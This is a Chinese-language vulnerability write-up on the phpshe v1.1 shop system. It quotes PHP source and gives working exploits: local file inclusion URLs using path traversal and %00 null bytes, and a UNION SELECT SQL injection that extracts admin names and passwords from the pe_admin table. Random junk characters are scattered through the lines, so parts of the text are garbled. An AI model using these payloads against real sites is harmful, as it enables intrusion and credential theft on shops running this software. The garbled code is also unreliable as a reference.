phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
: w2 @; A4 V+ f7 r/*******************************************************/
1 ]& G% B9 }' g' x5 C* a9 [0×00 整体大概参数传输
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% Q0 r( S/ D+ z$ t5 D9 e6 T3 i//common.php
if (get_magic_quotes_gpc()) {
: B. I* B6 T7 s. K!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- Z$ B$ G4 i+ F!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
! F. D* [- a% L- c& {/ a4 u}
/ {5 m4 I6 I  D2 Q) uelse {
# ?6 a/ ~- t* S; K, H) I) |7 H!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% T/ z7 A0 F0 D& K  r0 ^!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
" s& O  i: X! R$ |9 E7 U# r7 asession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
: t' \+ v, H9 J3 s# P4 Z
0×01 包含漏洞

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3 }! Q) a9 C) ]  E# \//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
8 Y) D/ u$ s) q& R, L- e: l, Sinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, P# _0 M  h6 b5 z& X4 a$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
4 |; u6 R6 `5 N( ?% {0 f//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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+ ?/ R/ N# X5 G, ]8 k: l 0×02 搜索注入

! p' S+ H! w! W<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
( Q1 c( l6 I2 p/ L- ]/ N1 d; Z$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
0 }2 W  e- @$ P# o) ~  u) u$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
. F+ n" ?( x9 \5 R/ N+ t5 dif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
( K! Q% }, x* u. \: ]. {3 Z9 ?$orderby = explode('_', $_g_orderby);
& \2 r( ]! p5 ?/ i9 X5 @; t; C# G$ Z  e+ x$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 G8 W5 Q7 A, D& i}
else {
2 R2 j) I! @/ k4 o/ ]. p7 T+ z& D$sqlwhere .= " order by `product_id` desc";
}
# t! _; d8 k4 ^, e$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
1 P* q5 V/ i: d: a: H' j//热卖排行
) W3 V* `+ y! v$ r1 P* G$ I$product_hotlist = product_hotlist();
7 a" w9 P  I' n0 V//当前路径
$nowpath = category_path($category_id);
6 ^9 I& U8 r( l6 v+ ~# N$seo = pe_seo($info['category_name']);
9 _/ H  E8 ]" B" ~6 q: z" Oinclude(pe_tpl('product_list.html'));
4 C) O6 [' ?0 H6 P6 @' r//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 J0 T  @& ~5 Y1 i2 k; E{
//处理条件语句
3 u5 I( e! C4 C5 k3 c$sqlwhere = $this->_dowhere($where);
3 H4 Y- ?0 B9 U2 H9 mreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
. Z  n# D  e% c- s5 I}
//exp
. W. S; F$ ]! z8 U. f* D  Zproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

, X; u4 }# e" o  H, K0×03 包含漏洞2
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8 y' K4 s- m' e; V0 z<code id="code3">

//order.php

case 'pay':

; T. `/ `& D. V$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

; e- A( n% T6 u. o& z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$ F& q9 j6 P) Z5 _# y! |$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 K* b) i' c$ b/ M- [, E1 o! O}

  m$ n% @+ E7 Z* w8 I' z}

3 A% ]& X2 p! l$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 C+ y. H  V/ O" n!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

/ q1 @2 v# ^) Tforeach ($info_list as $v) {

8 ]# b9 x( V: V/ \1 N- k+ F$order['order_name'] .= "{$v['product_name']};";
& M( t$ M) e+ N; H# N  V: o' m

9 K8 Q9 \9 d, \: K: k) v; T}

( ]) U: v: O: a) m& Fecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 j' i1 r& r* r}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

  A9 _1 q( @2 S& \; \, I$seo = pe_seo('选择支付方式');

; i2 e9 B4 t0 ?# d4 Cinclude(pe_tpl('order_pay.html'));

2 r8 x9 {9 I$ E* M& Sbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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